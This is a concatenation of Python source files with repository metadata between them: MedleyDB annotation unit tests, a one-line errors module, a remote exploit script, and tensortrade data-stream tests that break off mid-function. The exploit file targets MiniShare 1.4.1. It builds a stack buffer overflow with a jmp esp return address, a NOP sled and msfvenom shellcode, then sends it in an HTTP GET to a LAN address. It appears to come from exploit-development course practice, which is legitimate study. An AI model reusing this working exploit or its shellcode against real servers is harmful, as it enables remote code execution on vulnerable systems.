4: { 'tags': ['multif0', 'melody'], 'times': [0.429569160], 'freqs': [190.852] }, 5: { 'tags': ['multif0', 'melody'], 'times': [0.400544217], 'freqs': [380.532] } } expected_annot_activity = {2: None, 4: [0.5], 5: [0.5]} expected_indices = [1, 2, 4, 5] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_annot_activity[2], actual_annot_activity[2]) self.assertEqual( expected_annot_activity[4][0], actual_annot_activity[4][0]) self.assertEqual( expected_annot_activity[5][0], actual_annot_activity[5][0]) self.assertEqual(expected_indices, actual_indices) class TestSaveAnnotation(unittest.TestCase): def test_empty(self): actual = CMD.save_annotation([], [], 'data/save_test.csv') expected = None self.assertEqual(expected, actual) def test_nonempty(self): actual = CMD.save_annotation( [0.5, 0.5, 0.5, 1.5], [200.0, 0.0, 201, 400], 'data/save_test.csv') expected = 'data/save_test.csv' self.assertEqual(expected, actual) self.assertTrue(os.path.exists(expected)) os.remove(expected) class TestCreateAnnotations(unittest.TestCase): def test_one(self): save_dir = 'asdf/fdasa' track_id = 'Artist_Title' stem_annotations = { 2: { 'tags': ['multif0', 'bass'], 'times': [0.0, 0.1, 0.2], 'freqs': [100, 100, 100] }, 3: { 'tags': ['multif0', 'piano'], 'times': [0.0, 0.1, 0.2], 'freqs': [200, 200, 200] }, 7: { 'tags': ['multif0', 'guitar'], 'times': [1.0, 1.0, 1.1, 1.2], 'freqs': [100, 200, 100, 100] }, 9: { 'tags': ['multif0', 'melody'], 'times': [0.2, 0.3, 0.4], 'freqs': [100, 100, 100] }, 1: { 'tags': ['multif0', 'vocal'], 'times': [1.0, 1.1, 1.2], 'freqs': [400, 400, 400] } } actual = CMD.create_annotations(save_dir, track_id, stem_annotations) expected = { 'multif0': { 'times': [ 1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.0, 0.1, 0.2, 1.0, 1.0, 1.1, 1.2, 0.2, 0.3, 0.4], 'freqs': [ 400, 400, 400, 100, 100, 100, 200, 200, 200, 100, 200, 100, 100, 100, 100, 100], 'path': "asdf/fdasa/Artist_Title_multif0_annotation.txt" }, 'multif0_noguitar': { 'times': [ 1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.0, 0.1, 0.2, 0.2, 0.3, 0.4], 'freqs': [ 400, 400, 400, 100, 100, 100, 200, 200, 200, 100, 100, 100], 'path': "asdf/fdasa/Artist_Title_multif0_noguitar_annotation.txt" }, 'multif0_nosynth': { 'times': [1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.2, 0.3, 0.4], 'freqs': [400, 400, 400, 100, 100, 100, 100, 100, 100], 'path': "asdf/fdasa/Artist_Title_multif0_nosynth_annotation.txt" }, 'melody': { 'times': [0.2, 0.3, 0.4], 'freqs': [100, 100, 100], 'path': "asdf/fdasa/Artist_Title_melody_annotation.txt" }, 'vocal': { 'times': [1.0, 1.1, 1.2], 'freqs': [400, 400, 400], 'path': "asdf/fdasa/Artist_Title_vocal_annotation.txt" }, 'bass': { 'times': [0.0, 0.1, 0.2], 'freqs': [100, 100, 100], 'path': "asdf/fdasa/Artist_Title_bass_annotation.txt" }, 'piano': { 'times': [0.0, 0.1, 0.2], 'freqs': [200, 200, 200], 'path': "asdf/fdasa/Artist_Title_piano_annotation.txt" }, 'guitar': { 'times': [1.0, 1.0, 1.1, 1.2], 'freqs': [100, 200, 100, 100], 'path': "asdf/fdasa/Artist_Title_guitar_annotation.txt" } } self.assertEqual(sorted(expected.keys()), sorted(actual.keys())) for key in actual.keys(): self.assertEqual(expected[key], actual[key]) class TestCreateAnnotationSavePairs(unittest.TestCase): def test_one(self): annotations = { 'multif0': { 'times': [ 1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.0, 0.1, 0.2, 1.0, 1.0, 1.1, 1.2, 0.2, 0.3, 0.4], 'freqs': [ 400, 400, 400, 100, 100, 100, 200, 200, 200, 100, 200, 100, 100, 100, 100, 100], 'path': "data/Artist_Title_multif0_annotation.txt" }, 'multif0_noguitar': { 'times': [ 1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.0, 0.1, 0.2, 0.2, 0.3, 0.4], 'freqs': [ 400, 400, 400, 100, 100, 100, 200, 200, 200, 100, 100, 100], 'path': "data/Artist_Title_multif0_noguitar_annotation.txt" }, 'multif0_nosynth': { 'times': [1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.2, 0.3, 0.4], 'freqs': [400, 400, 400, 100, 100, 100, 100, 100, 100], 'path': "data/Artist_Title_multif0_nosynth_annotation.txt" }, 'melody': { 'times': [0.2, 0.3, 0.4], 'freqs': [100, 100, 100], 'path': "data/Artist_Title_melody_annotation.txt" }, 'vocal': { 'times': [1.0, 1.1, 1.2], 'freqs': [400, 400, 400], 'path': "data/Artist_Title_vocal_annotation.txt" }, 'bass': { 'times': [0.0, 0.1, 0.2], 'freqs': [100, 100, 100], 'path': "data/Artist_Title_bass_annotation.txt" }, 'piano': { 'times': [0.0, 0.1, 0.2], 'freqs': [200, 200, 200], 'path': "data/Artist_Title_piano_annotation.txt" }, 'guitar': { 'times': [1.0, 1.0, 1.1, 1.2], 'freqs': [100, 200, 100, 100], 'path': "data/Artist_Title_guitar_annotation.txt" } } mix_path = 'Fakemix.wav' mix_path_noguitar = 'Fakemix_noguitar.wav' mix_path_nosynth = 'Fakemix_nosynth.wav' actual = CMD.create_annotation_save_pairs( annotations, mix_path, mix_path_noguitar, mix_path_nosynth ) expected = { 'Fakemix.wav': { 'multif0': "data/Artist_Title_multif0_annotation.txt", 'guitar': "data/Artist_Title_guitar_annotation.txt", 'piano': "data/Artist_Title_piano_annotation.txt", 'vocal': "data/Artist_Title_vocal_annotation.txt", 'melody': "data/Artist_Title_melody_annotation.txt", 'bass': "data/Artist_Title_bass_annotation.txt" }, 'Fakemix_noguitar.wav': { 'multif0': "data/Artist_Title_multif0_noguitar_annotation.txt", 'guitar': None, 'piano': "data/Artist_Title_piano_annotation.txt", 'vocal': "data/Artist_Title_vocal_annotation.txt", 'melody': "data/Artist_Title_melody_annotation.txt", 'bass': "data/Artist_Title_bass_annotation.txt" }, 'Fakemix_nosynth.wav': { 'multif0': "data/Artist_Title_multif0_nosynth_annotation.txt", 'guitar': None, 'piano': None, 'vocal': "data/Artist_Title_vocal_annotation.txt", 'melody': "data/Artist_Title_melody_annotation.txt", 'bass': "data/Artist_Title_bass_annotation.txt" }, } self.assertEqual(sorted(expected.keys()), sorted(actual.keys())) files = [] for key in actual.keys(): self.assertEqual( sorted(expected[key].keys()), sorted(actual[key].keys())) for subkey in actual[key].keys(): self.assertEqual(expected[key][subkey], actual[key][subkey]) if actual[key][subkey] is not None: self.assertTrue(os.path.exists(actual[key][subkey])) files.append(actual[key][subkey]) files = list(set(files)) for f in files: os.remove(f) def test_two(self): annotations = { 'multif0': { 'times': [ 1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.0, 0.1, 0.2, 1.0, 1.0, 1.1, 1.2, 0.2, 0.3, 0.4], 'freqs': [ 400, 400, 400, 100, 100, 100, 200, 200, 200, 100, 200, 100, 100, 100, 100, 100], 'path': "data/Artist_Title_multif0_annotation.txt" }, 'multif0_noguitar': { 'times': [ 1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.0, 0.1, 0.2, 0.2, 0.3, 0.4], 'freqs': [ 400, 400, 400, 100, 100, 100, 200, 200, 200, 100, 100, 100], 'path': "data/Artist_Title_multif0_noguitar_annotation.txt" }, 'multif0_nosynth': { 'times': [1.0, 1.1, 1.2, 0.0, 0.1, 0.2, 0.2, 0.3, 0.4], 'freqs': [400, 400, 400, 100, 100, 100, 100, 100, 100], 'path': "data/Artist_Title_multif0_nosynth_annotation.txt" }, 'melody': { 'times': [0.2, 0.3, 0.4], 'freqs': [100, 100, 100], 'path': "data/Artist_Title_melody_annotation.txt" }, 'vocal': { 'times': [1.0, 1.1, 1.2], 'freqs': [400, 400, 400], 'path': "data/Artist_Title_vocal_annotation.txt" }, 'piano': { 'times': [0.0, 0.1, 0.2], 'freqs': [200, 200, 200], 'path': "data/Artist_Title_piano_annotation.txt" }, 'guitar': { 'times': [1.0, 1.0, 1.1, 1.2], 'freqs': [100, 200, 100, 100], 'path': "data/Artist_Title_guitar_annotation.txt" } } mix_path = 'Fakemix.wav' mix_path_noguitar = 'Fakemix_noguitar.wav' mix_path_nosynth = 'Fakemix_nosynth.wav' actual = CMD.create_annotation_save_pairs( annotations, mix_path, mix_path_noguitar, mix_path_nosynth ) expected = { 'Fakemix.wav': { 'multif0': "data/Artist_Title_multif0_annotation.txt", 'guitar': "data/Artist_Title_guitar_annotation.txt", 'piano': "data/Artist_Title_piano_annotation.txt", 'vocal': "data/Artist_Title_vocal_annotation.txt", 'melody': "data/Artist_Title_melody_annotation.txt" }, 'Fakemix_noguitar.wav': { 'multif0': "data/Artist_Title_multif0_noguitar_annotation.txt", 'guitar': None, 'piano': "data/Artist_Title_piano_annotation.txt", 'vocal': "data/Artist_Title_vocal_annotation.txt", 'melody': "data/Artist_Title_melody_annotation.txt" }, 'Fakemix_nosynth.wav': { 'multif0': "data/Artist_Title_multif0_nosynth_annotation.txt", 'guitar': None, 'piano': None, 'vocal': "data/Artist_Title_vocal_annotation.txt", 'melody': "data/Artist_Title_melody_annotation.txt" } } self.assertEqual(sorted(expected.keys()), sorted(actual.keys())) files = [] for key in actual.keys(): self.assertEqual( sorted(expected[key].keys()), sorted(actual[key].keys())) for subkey in actual[key].keys(): self.assertEqual(expected[key][subkey], actual[key][subkey]) if actual[key][subkey] is not None: self.assertTrue(os.path.exists(actual[key][subkey])) files.append(actual[key][subkey]) files = list(set(files)) for f in files: os.remove(f) class TestGenerateFilteredStems(unittest.TestCase): def test_empty(self): stem_annot_activity = {} mtrack = mdb.MultiTrack("MusicDelta_BebopJazz") save_dir = "" actual = CMD.generate_filtered_stems( stem_annot_activity, mtrack, save_dir) expected = {} self.assertEqual(expected, actual) def test_nonempty_one(self): stem_annot_activity = {1: None, 2: np.ones((20*44100, ))} mtrack = mdb.MultiTrack("MusicDelta_Reggae") save_dir = 'data' actual = CMD.generate_filtered_stems( stem_annot_activity, mtrack, save_dir) expected = {2: 'data/MusicDelta_Reggae_STEM_2_alt.wav'} self.assertEqual(expected, actual) self.assertTrue(os.path.exists('data/MusicDelta_Reggae_STEM_2_alt.wav')) os.remove('data/MusicDelta_Reggae_STEM_2_alt.wav') def test_nonempty_two(self): stem_annot_activity = {1: None, 2: np.ones((2*44100, ))} mtrack = mdb.MultiTrack("MusicDelta_Reggae") save_dir = 'data' actual = CMD.generate_filtered_stems( stem_annot_activity, mtrack, save_dir) expected = {2: 'data/MusicDelta_Reggae_STEM_2_alt.wav'} self.assertEqual(expected, actual) self.assertTrue(os.path.exists('data/MusicDelta_Reggae_STEM_2_alt.wav')) os.remove('data/MusicDelta_Reggae_STEM_2_alt.wav') class TestCreateMixes(unittest.TestCase): def test_one(self): mtrack = mdb.MultiTrack("AHa_TakeOnMe") mix_path = 'data/test_mix.wav' mix_path_noguitar = 'data/test_mix_noguitar.wav' mix_path_nosynth = 'data/test_mix_nosynth.wav' stem_indices = [1, 2, 3, 4, 5, 6] stem_indices_guitar = [4] stem_indices_piano = [1, 3, 6] resynth_path = '/Users/rabitt/Dropbox/piano_guitar_resynth/resynth' replace_path = os.path.join( '/Users/rabitt/Dropbox', 'piano_guitar_resynth/vocalists_replace' ) altfiles = { 1: os.path.join(resynth_path, "AHa_TakeOnMe_STEM_01_resynth.wav"), 2: os.path.join(replace_path, "AHa_TakeOnMe_STEM_02_replace.wav"), 3: os.path.join(resynth_path, "AHa_TakeOnMe_STEM_03_resynth.wav"), 4: os.path.join(resynth_path, "AHa_TakeOnMe_STEM_04_resynth.wav"), 6: os.path.join(resynth_path, "AHa_TakeOnMe_STEM_06_resynth.wav") } (actual_mix, actual_mix_noguitar, actual_mix_nosynth) = CMD.create_mixes( mtrack, mix_path, mix_path_noguitar, mix_path_nosynth, stem_indices, stem_indices_guitar, stem_indices_piano, altfiles ) expected_mix = sorted([ os.path.join(resynth_path, "AHa_TakeOnMe_STEM_01_resynth.wav"), os.path.join(replace_path, "AHa_TakeOnMe_STEM_02_replace.wav"), os.path.join(resynth_path, "AHa_TakeOnMe_STEM_03_resynth.wav"), os.path.join(resynth_path, "AHa_TakeOnMe_STEM_04_resynth.wav"), os.path.join( mdb.MEDLEYDB_PATH, 'Audio', 'AHa_TakeOnMe', 'AHa_TakeOnMe_STEMS', "AHa_TakeOnMe_STEM_05.wav"), os.path.join(resynth_path, "AHa_TakeOnMe_STEM_06_resynth.wav") ]) expected_mix_noguitar = sorted([ os.path.join(resynth_path, "AHa_TakeOnMe_STEM_01_resynth.wav"), os.path.join(replace_path, "AHa_TakeOnMe_STEM_02_replace.wav"), os.path.join(resynth_path, "AHa_TakeOnMe_STEM_03_resynth.wav"), os.path.join( mdb.MEDLEYDB_PATH, 'Audio', 'AHa_TakeOnMe', 'AHa_TakeOnMe_STEMS', "AHa_TakeOnMe_STEM_05.wav"), os.path.join(resynth_path, "AHa_TakeOnMe_STEM_06_resynth.wav") ]) expected_mix_nosynth = sorted([ os.path.join(replace_path, "AHa_TakeOnMe_STEM_02_replace.wav"), os.path.join( mdb.MEDLEYDB_PATH, 'Audio', 'AHa_TakeOnMe', 'AHa_TakeOnMe_STEMS', "AHa_TakeOnMe_STEM_05.wav"), ]) self.assertEqual(expected_mix, sorted(actual_mix)) self.assertEqual(expected_mix_noguitar, sorted(actual_mix_noguitar)) self.assertEqual(expected_mix_nosynth, sorted(actual_mix_nosynth)) self.assertTrue(os.path.exists(mix_path)) os.remove(mix_path) self.assertTrue(os.path.exists(mix_path_noguitar)) os.remove(mix_path_noguitar) self.assertTrue(os.path.exists(mix_path_nosynth)) os.remove(mix_path_nosynth) class TestCreateCompleteResynthMix(unittest.TestCase): def test_one(self): mtrack = mdb.MultiTrack("AHa_TakeOnMe") resynth_path = '/Users/rabitt/Dropbox/piano_guitar_resynth/resynth' replace_path = os.path.join( '/Users/rabitt/Dropbox', 'piano_guitar_resynth/vocalists_replace' ) save_dir = 'data' actual = CMD.create_complete_resynth_mix( mtrack, resynth_path, replace_path, save_dir) expected = { "data/AHa_TakeOnMe_MIX_complete_resynth.wav": { 'multif0': "data/AHa_TakeOnMe_multif0_annotation.txt", 'guitar': "data/AHa_TakeOnMe_guitar_annotation.txt", 'piano': None, 'vocal': "data/AHa_TakeOnMe_vocal_annotation.txt", 'melody': "data/AHa_TakeOnMe_melody_annotation.txt", 'bass': None }, "data/AHa_TakeOnMe_MIX_complete_noguitar.wav": { 'multif0': "data/AHa_TakeOnMe_multif0_noguitar_annotation.txt", 'guitar': None, 'piano': None, 'vocal': "data/AHa_TakeOnMe_vocal_annotation.txt", 'melody': "data/AHa_TakeOnMe_melody_annotation.txt", 'bass': None }, "data/AHa_TakeOnMe_MIX_complete_nosynth.wav": { 'multif0': "data/AHa_TakeOnMe_multif0_nosynth_annotation.txt", 'guitar': None, 'piano': None, 'vocal': "data/AHa_TakeOnMe_vocal_annotation.txt", 'melody': "data/AHa_TakeOnMe_melody_annotation.txt", 'bass': None } } self.assertEqual( sorted(expected.keys()), sorted(actual.keys()) ) files = [] for key in actual.keys(): self.assertEqual( sorted(expected[key].keys()), sorted(actual[key].keys())) self.assertTrue(os.path.exists(key)) os.remove(key) for subkey in actual[key].keys(): if actual[key][subkey] is not None: self.assertEqual( expected[key][subkey], actual[key][subkey] ) self.assertTrue(os.path.exists(actual[key][subkey])) files.append(actual[key][subkey]) else: self.assertEqual(expected[key][subkey], actual[key][subkey]) for fpath in list(set(files)): os.remove(fpath) class TestGetAnnotationMono(unittest.TestCase): def test_empty_list(self): mtrack = mdb.MultiTrack("MusicDelta_BebopJazz") stem_idx = [] stem_list = [mtrack.stems[s] for s in stem_idx] actual_times, actual_freqs = CMD.get_annotation_mono(mtrack, stem_list) expected_times = [] expected_freqs = [] self.assertEqual(expected_times, actual_times) self.assertEqual(expected_freqs, actual_freqs) def test_nonempty_list_one(self): mtrack = mdb.MultiTrack("MusicDelta_BebopJazz") stem_idx = [4, 5] stem_list = [mtrack.stems[s] for s in stem_idx] actual_times, actual_freqs = CMD.get_annotation_mono(mtrack, stem_list) expected_times = [0.39473922900000002] expected_freqs = [193.88999999999999] self.assertEqual(expected_times[0], actual_times[0]) self.assertEqual(expected_freqs[0], actual_freqs[0]) def test_nonempty_list_two(self): mtrack = mdb.MultiTrack("MusicDelta_BebopJazz") stem_idx = [3, 4, 5] stem_list = [mtrack.stems[s] for s in stem_idx] actual_times, actual_freqs = CMD.get_annotation_mono(mtrack, stem_list) expected_times = None expected_freqs = None self.assertEqual(expected_times, actual_times) self.assertEqual(expected_freqs, actual_freqs) class TestGetFullmixAnnotation(unittest.TestCase): def test_one(self): mtrack = mdb.MultiTrack("AHa_TakeOnMe") save_dir = 'data' actual = CMD.get_fullmix_annotations(mtrack, save_dir) expected = {mtrack.mix_path: {}} self.assertEqual(expected, actual) def test_two(self): mtrack = mdb.MultiTrack("AcDc_BackInBlack") save_dir = 'data' actual = CMD.get_fullmix_annotations(mtrack, save_dir) expected = { mtrack.mix_path: { 'vocal': 'data/AcDc_BackInBlack_MIX_vocal.txt', 'bass': 'data/AcDc_BackInBlack_MIX_bass.txt' } } self.assertEqual( sorted(expected.keys()), sorted(actual.keys()) ) files = [] for key in actual.keys(): self.assertEqual( sorted(expected[key].keys()), sorted(actual[key].keys())) for subkey in actual[key].keys(): if actual[key][subkey] is not None: self.assertEqual( expected[key][subkey], actual[key][subkey] ) self.assertTrue(os.path.exists(actual[key][subkey])) files.append(actual[key][subkey]) else: self.assertEqual(expected[key][subkey], actual[key][subkey]) for fpath in list(set(files)): os.remove(fpath) def test_three(self): mtrack = mdb.MultiTrack("MusicDelta_BebopJazz") save_dir = 'data' actual = CMD.get_fullmix_annotations(mtrack, save_dir) expected = { mtrack.mix_path: { 'vocal': None, 'bass': 'data/MusicDelta_BebopJazz_MIX_bass.txt', 'melody': 'data/MusicDelta_BebopJazz_MIX_melody.txt' } } self.assertEqual( sorted(expected.keys()), sorted(actual.keys()) ) files = [] for key in actual.keys(): self.assertEqual( sorted(expected[key].keys()), sorted(actual[key].keys())) for subkey in actual[key].keys(): if actual[key][subkey] is not None: self.assertEqual( expected[key][subkey], actual[key][subkey] ) self.assertTrue(os.path.exists(actual[key][subkey])) files.append(actual[key][subkey]) else: self.assertEqual(expected[key][subkey], actual[key][subkey]) for fpath in list(set(files)): os.remove(fpath) def test_four(self): mtrack = mdb.MultiTrack("TablaBreakbeatScience_Animoog") save_dir = 'data' actual = CMD.get_fullmix_annotations(mtrack, save_dir) expected = { mtrack.mix_path: { 'vocal': None, 'bass': None, 'melody': None } } self.assertEqual( sorted(expected.keys()), sorted(actual.keys()) ) files = [] for key in actual.keys(): self.assertEqual( sorted(expected[key].keys()), sorted(actual[key].keys())) for subkey in actual[key].keys(): if actual[key][subkey] is not None: self.assertEqual( expected[key][subkey], actual[key][subkey] ) self.assertTrue(os.path.exists(actual[key][subkey])) files.append(actual[key][subkey]) else: self.assertEqual(expected[key][subkey], actual[key][subkey]) for fpath in list(set(files)): os.remove(fpath) class TestGetAllAudioAnnotPairs(unittest.TestCase): def test_one(self): mtrack = mdb.MultiTrack('AHa_TakeOnMe') save_dir = 'data' resynth_path = '/Users/rabitt/Dropbox/piano_guitar_resynth/resynth' replace_path = os.path.join( '/Users/rabitt/Dropbox', 'piano_guitar_resynth/vocalists_replace' ) actual = CMD.get_all_audio_annot_pairs( mtrack, save_dir, resynth_path, replace_path) expected = 'data/AHa_TakeOnMe_training_pairs.json' self.assertEqual(expected, actual) self.assertTrue(os.path.exists(actual))

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0.531455

4,010

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null

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null

0

6

0bad58e42c8355e861c7612ae77aef4fd73ce954

37

py

Python

rekt_googleplaces/errors.py

vengefuldrx/rekt-googleplaces

7831ac262577ac47a1700c71b129841d695717fd

[ "Apache-2.0" ]

1

2015-09-18T06:31:38.000Z

rekt_googleplaces/errors.py

vengefuldrx/rekt-googleplaces

7831ac262577ac47a1700c71b129841d695717fd

[ "Apache-2.0" ]

null

rekt_googleplaces/errors.py

vengefuldrx/rekt-googleplaces

7831ac262577ac47a1700c71b129841d695717fd

[ "Apache-2.0" ]

null

from rekt_googlecore.errors import *

18.5

36

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null

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6

e7ffdc34a6d02c394ea6b443de8050d6818a5617

1,394

py

Python

1-stack-overflows/remote/minishare-1.4.1/exploit.py

mostwantedduck/osed-1

112c719c86283cb735850d7cb6d05f42fa1c0a1a

[ "MIT" ]

28

2021-05-31T13:41:12.000Z

2022-03-29T06:19:18.000Z

1-stack-overflows/remote/minishare-1.4.1/exploit.py

sradley/osed

112c719c86283cb735850d7cb6d05f42fa1c0a1a

[ "MIT" ]

null

1-stack-overflows/remote/minishare-1.4.1/exploit.py

sradley/osed

112c719c86283cb735850d7cb6d05f42fa1c0a1a

[ "MIT" ]

15

2021-05-28T07:39:34.000Z

2022-03-09T19:09:28.000Z

#!/usr/bin/env python3 from pwn import * pad = b'A' * 1787 # 0x74ff6c28: jmp esp; ret = p32(0x75860000 + 0x6c28) nop = b'\x90' * 64 # msfvenom -p windows/exec -b '\x00\x0d' -f py CMD=calc.exe buf = b"" buf += b"\xba\x87\x2d\x18\x37\xda\xc2\xd9\x74\x24\xf4\x5f\x33" buf += b"\xc9\xb1\x31\x31\x57\x13\x03\x57\x13\x83\xc7\x83\xcf" buf += b"\xed\xcb\x63\x8d\x0e\x34\x73\xf2\x87\xd1\x42\x32\xf3" buf += b"\x92\xf4\x82\x77\xf6\xf8\x69\xd5\xe3\x8b\x1c\xf2\x04" buf += b"\x3c\xaa\x24\x2a\xbd\x87\x15\x2d\x3d\xda\x49\x8d\x7c" buf += b"\x15\x9c\xcc\xb9\x48\x6d\x9c\x12\x06\xc0\x31\x17\x52" buf += b"\xd9\xba\x6b\x72\x59\x5e\x3b\x75\x48\xf1\x30\x2c\x4a" buf += b"\xf3\x95\x44\xc3\xeb\xfa\x61\x9d\x80\xc8\x1e\x1c\x41" buf += b"\x01\xde\xb3\xac\xae\x2d\xcd\xe9\x08\xce\xb8\x03\x6b" buf += b"\x73\xbb\xd7\x16\xaf\x4e\xcc\xb0\x24\xe8\x28\x41\xe8" buf += b"\x6f\xba\x4d\x45\xfb\xe4\x51\x58\x28\x9f\x6d\xd1\xcf" buf += b"\x70\xe4\xa1\xeb\x54\xad\x72\x95\xcd\x0b\xd4\xaa\x0e" buf += b"\xf4\x89\x0e\x44\x18\xdd\x22\x07\x76\x20\xb0\x3d\x34" buf += b"\x22\xca\x3d\x68\x4b\xfb\xb6\xe7\x0c\x04\x1d\x4c\xe2" buf += b"\x4e\x3c\xe4\x6b\x17\xd4\xb5\xf1\xa8\x02\xf9\x0f\x2b" buf += b"\xa7\x81\xeb\x33\xc2\x84\xb0\xf3\x3e\xf4\xa9\x91\x40" buf += b"\xab\xca\xb3\x22\x2a\x59\x5f\x8b\xc9\xd9\xfa\xd3" payload = pad + ret + nop + buf r = remote('192.168.122.187', 80) r.write(b'GET ' + payload + b' HTTP/1.1\r\n\r\n')

37.675676

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1

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1

null

1

0

6

f018590d4020a10258c68bbc49f4b6909f694428

8,861

py

Python

tests/tensortrade/unit/data/stream/test_node_builder_patterns.py

teonlacke/tensortrade

b1f441ff4a16940462720d96627f859e0497ab7d

[ "Apache-2.0" ]

34

2020-06-05T22:39:53.000Z

2022-01-09T03:09:12.000Z

tests/tensortrade/unit/data/stream/test_node_builder_patterns.py

teonlacke/tensortrade

b1f441ff4a16940462720d96627f859e0497ab7d

[ "Apache-2.0" ]

1

2022-01-17T06:38:27.000Z

tests/tensortrade/unit/data/stream/test_node_builder_patterns.py

teonlacke/tensortrade

b1f441ff4a16940462720d96627f859e0497ab7d

[ "Apache-2.0" ]

8

2020-06-01T12:09:53.000Z

2022-01-18T14:45:29.000Z

import pytest import numpy as np import pandas as pd from tensortrade.data import DataFeed, Stream, BinOp def test_lag(): s1 = Stream([1, 2, 3, 4, 5]).rename("stream") assert s1.name == "stream" lag = s1.lag() assert lag.name == "Lag(stream,1)" feed = DataFeed([lag]) feed.compile() values = [] while feed.has_next(): values += [feed.next()["Lag(stream,1)"]] assert values == [np.nan, 1, 2, 3, 4] def test_apply(): s1 = Stream([1, 4, 9, 16, 25], "s1") lag = s1.apply(np.sqrt).rename("apply") feed = DataFeed([lag]) feed.compile() values = [] while feed.has_next(): values += [feed.next()["apply"]] assert values == [1, 2, 3, 4, 5] def test_add(): s1 = Stream([1, 2, 3, 4, 5], "s1") assert s1.name == "s1" s2 = Stream([1, 2, 3, 4, 5], "s2") assert s2.name == "s2" s = s1 + s2 assert s.name == "Add(s1,s2)" feed = DataFeed([s]) feed.compile() values = [] while feed.has_next(): values += [feed.next()["Add(s1,s2)"]] assert values == [2, 4, 6, 8, 10] def test_sub(): s1 = Stream([2, 3, 4, 5, 6], "s1") assert s1.name == "s1" s2 = Stream([1, 2, 3, 4, 5], "s2") assert s2.name == "s2" s = s1 - s2 assert s.name == "Subtract(s1,s2)" feed = DataFeed([s]) feed.compile() values = [] while feed.has_next(): values += [feed.next()["Subtract(s1,s2)"]] assert values == [1, 1, 1, 1, 1] def test_truediv(): s1 = Stream([2, 3, 4, 5, 6], "s1") s2 = Stream([2, 3, 4, 5, 6], "s2") s = (s1 / s2).rename("div") feed = DataFeed([s]) feed.compile() values = [] while feed.has_next(): values += [feed.next()["div"]] assert values == [1, 1, 1, 1, 1] s1 = Stream([1, 1, 1, 1, 1], "s2") s = (5 / s1).rename("div") feed = DataFeed([s]) feed.compile() values = [] while feed.has_next(): values += [feed.next()["div"]] assert values == [5, 5, 5, 5, 5] s1 = Stream([5, 5, 5, 5, 5], "s2") s = (s1 / 5).rename("div") feed = DataFeed([s]) feed.compile() values = [] while feed.has_next(): values += [feed.next()["div"]] assert values == [1, 1, 1, 1, 1] def test_log_returns(): s1 = Stream([200.23, 198.35, 244.36, 266.30, 250.40], "price") assert s1.name == "price" lp = s1.log() lr = lp - lp.lag() feed = DataFeed([lr]) feed.compile() while feed.has_next(): print(feed.next()) lr = s1.log().diff().rename("log_return") feed = DataFeed([lr]) feed.compile() while feed.has_next(): print(feed.next()) # pytest.fail("Failed.") def test_ewma(): # adjust: True, ignore_na: True v = [5, 2, 4, 6] s = Stream(v, "s") mean = s.ewm(alpha=0.68, adjust=True, ignore_na=True).mean().rename("mean") feed = DataFeed([mean]) feed.compile() expected = list(pd.Series(v).ewm(alpha=0.68, adjust=True, ignore_na=True).mean()) actual = [] while feed.has_next(): actual += [feed.next()["mean"]] assert all(np.isclose(actual, expected)) # adjust: True, ignore_na: False v = [5, 2, np.nan, 6] s = Stream(v, "s") mean = s.ewm(alpha=0.68, adjust=True, ignore_na=False).mean().rename("mean") feed = DataFeed([mean]) feed.compile() expected = list(pd.Series(v).ewm(alpha=0.68, adjust=True, ignore_na=False).mean()) actual = [] while feed.has_next(): actual += [feed.next()["mean"]] assert all(np.isclose(actual, expected)) # adjust: True, ignore_na: False v = [5, 2, np.nan, 6] s = Stream(v, "s") mean = s.ewm(alpha=0.68, adjust=False, ignore_na=True).mean().rename("mean") feed = DataFeed([mean]) feed.compile() expected = list(pd.Series(v).ewm(alpha=0.68, adjust=False, ignore_na=True).mean()) actual = [] while feed.has_next(): actual += [feed.next()["mean"]] assert all(np.isclose(actual, expected)) # adjust: True, ignore_na: False v = [5, 2, np.nan, 6] s = Stream(v, "s") mean = s.ewm(alpha=0.68, adjust=False, ignore_na=False).mean().rename("mean") feed = DataFeed([mean]) feed.compile() expected = list(pd.Series(v).ewm(alpha=0.68, adjust=False, ignore_na=False).mean()) actual = [] while feed.has_next(): actual += [feed.next()["mean"]] assert all(np.isclose(actual, expected)) @pytest.mark.skip(reason="This is equal but says nans are not equal.") def test_ewa_beginning_na(): # adjust: True, ignore_na: False v = [np.nan, 2, np.nan, 6, 8, 5] s = Stream(v).rename("s") specs = [ {"alpha": 0.68, "adjust": True, "ignore_na": True, "min_periods": 3}, {"alpha": 0.68, "adjust": True, "ignore_na": False, "min_periods": 3}, {"alpha": 0.68, "adjust": False, "ignore_na": True, "min_periods": 3}, {"alpha": 0.68, "adjust": False, "ignore_na": False, "min_periods": 3} ] for spec in specs: d = spec.copy() d["warmup"] = d["min_periods"] del d["min_periods"] mean = s.ewm(**d).mean().rename("mean") feed = DataFeed([mean]) feed.compile() expected = list(pd.Series(v).ewm(**spec).mean()) actual = [] while feed.has_next(): actual += [feed.next()["mean"]] assert all(np.isclose(actual, expected)) @pytest.mark.skip(reason="Data module refactor will fix this.") def test_ewmv_biased(): # bias: True v = [np.nan, 2, np.nan, 6, 8, 5] s = Stream(v).rename("s") specs = [ {"alpha": 0.68, "adjust": True, "ignore_na": True, "min_periods": 3}, {"alpha": 0.68, "adjust": True, "ignore_na": False, "min_periods": 3}, {"alpha": 0.68, "adjust": False, "ignore_na": True, "min_periods": 3}, {"alpha": 0.68, "adjust": False, "ignore_na": False, "min_periods": 3} ] for spec in specs: d = spec.copy() d["warmup"] = d["min_periods"] del d["min_periods"] var = s.ewm(**d).var(bias=True).rename("var") feed = DataFeed([var]) feed.compile() expected = list(pd.Series(v).ewm(**spec).var(bias=True)) actual = [] while feed.has_next(): actual += [feed.next()["var"]] assert all(np.isclose(actual, expected)) @pytest.mark.skip(reason="This is equal but says nans are not equal.") def test_emwmv_unbiased(): # bias: True v = [np.nan, 2, np.nan, 6, 8, 5] s 